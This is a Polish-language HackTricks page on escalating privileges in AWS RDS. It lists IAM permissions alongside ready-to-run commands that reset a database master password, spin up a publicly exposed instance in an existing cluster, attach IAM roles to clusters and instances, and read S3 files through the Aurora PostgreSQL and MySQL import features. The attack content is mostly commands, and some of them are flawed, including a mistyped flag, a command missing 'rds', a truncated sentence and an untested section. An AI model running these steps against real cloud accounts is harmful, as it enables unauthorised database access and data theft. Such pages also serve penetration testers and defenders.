AWS - RDS Privesc

Support HackTricks

RDS - Relacyjna Usługa Baz Danych

Aby uzyskać więcej informacji o RDS, sprawdź:

rds:ModifyDBInstance

Dzięki temu uprawnieniu atakujący może zmienić hasło głównego użytkownika oraz logowanie w bazie danych:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Będziesz musiał skontaktować się z bazą danych (zwykle są one dostępne tylko z wewnętrznych sieci).

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazach danych.

rds-db:connect

Zgodnie z dokumentacją użytkownik z tym uprawnieniem mógłby połączyć się z instancją DB.

Nadużycie uprawnień roli RDS IAM

Postgresql (Aurora)

Jeśli uruchamiając SELECT datname FROM pg_database; znajdziesz bazę danych o nazwie rdsadmin, wiesz, że jesteś w bazie danych AWS postgresql.

Najpierw możesz sprawdzić, czy ta baza danych była używana do uzyskania dostępu do jakiejkolwiek innej usługi AWS. Możesz to sprawdzić, patrząc na zainstalowane rozszerzenia:

SELECT * FROM pg_extension;

Jeśli znajdziesz coś takiego jak aws_s3, możesz założyć, że ta baza danych ma jakiegoś rodzaju dostęp do S3 (są inne rozszerzenia, takie jak aws_ml i aws_lambda).

Również, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters, możesz zobaczyć, czy klaster ma przypisaną jakąkolwiek rolę IAM w polu AssociatedRoles. Jeśli tak, możesz założyć, że baza danych była przygotowana do uzyskania dostępu do innych usług AWS. Na podstawie nazwa roli (lub jeśli możesz uzyskać uprawnienia roli) możesz zgadnąć, jaki dodatkowy dostęp ma baza danych.

Teraz, aby przeczytać plik w obrębie bucketu, musisz znać pełną ścieżkę. Możesz to przeczytać za pomocą:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Jeśli miałeś surowe dane uwierzytelniające AWS, mógłbyś je również wykorzystać do uzyskania dostępu do danych S3 za pomocą:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql nie musi zmieniać żadnej zmiennej grupy parametrów, aby uzyskać dostęp do S3.

Mysql (Aurora)

Wewnątrz mysql, jeśli uruchomisz zapytanie SELECT User, Host FROM mysql.user; i jest użytkownik o nazwie rdsadmin, możesz założyć, że jesteś w AWS RDS mysql db.

Wewnątrz mysql uruchom show variables; i jeśli zmienne takie jak aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role, mają wartości, możesz założyć, że baza danych jest przygotowana do uzyskania dostępu do danych S3.

Ponadto, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters, możesz sprawdzić, czy klaster ma jakąkolwiek powiązaną rolę, co zazwyczaj oznacza dostęp do usług AWS).

Teraz, aby przeczytać plik w obrębie bucketu, musisz znać pełną ścieżkę. Możesz go przeczytać za pomocą:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Atakujący z uprawnieniami rds:AddRoleToDBCluster i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. Może to umożliwić atakującemu dostęp do wrażliwych danych lub modyfikację danych w obrębie instancji.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potencjalny wpływ: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS. Należy zauważyć, że niektóre bazy danych wymagają dodatkowych konfiguracji, takich jak Mysql, który musi określić ARN roli w grupach parametrów.

rds:CreateDBInstance

Tylko z tym uprawnieniem atakujący mógłby stworzyć nową instancję w istniejącym klastrze, która już istnieje i ma przypisaną rolę IAM. Nie będzie mógł zmienić hasła głównego użytkownika, ale może być w stanie wystawić nową instancję bazy danych do internetu:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Test

Atakujący z uprawnieniami rds:CreateDBInstance i iam:PassRole może utworzyć nową instancję RDS z przypisaną określoną rolą. Atakujący może następnie potencjalnie uzyskać dostęp do wrażliwych danych lub zmodyfikować dane w instancji.

Niektóre wymagania dotyczące roli/profilu instancji do przypisania (z tutaj):

  • Profil musi istnieć w Twoim koncie.

  • Profil musi mieć rolę IAM, którą Amazon EC2 ma uprawnienia do przyjęcia.

  • Nazwa profilu instancji i powiązana nazwa roli IAM muszą zaczynać się od prefiksu AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potencjalny wpływ: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.

rds:AddRoleToDBInstance, iam:PassRole

Atakujący z uprawnieniami rds:AddRoleToDBInstance i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. Może to pozwolić atakującemu na dostęp do wrażliwych danych lub modyfikację danych w instancji.

Instancja DB musi być poza klastrem, aby to

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potencjalny wpływ: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.

Wsparcie dla HackTricks

Last updated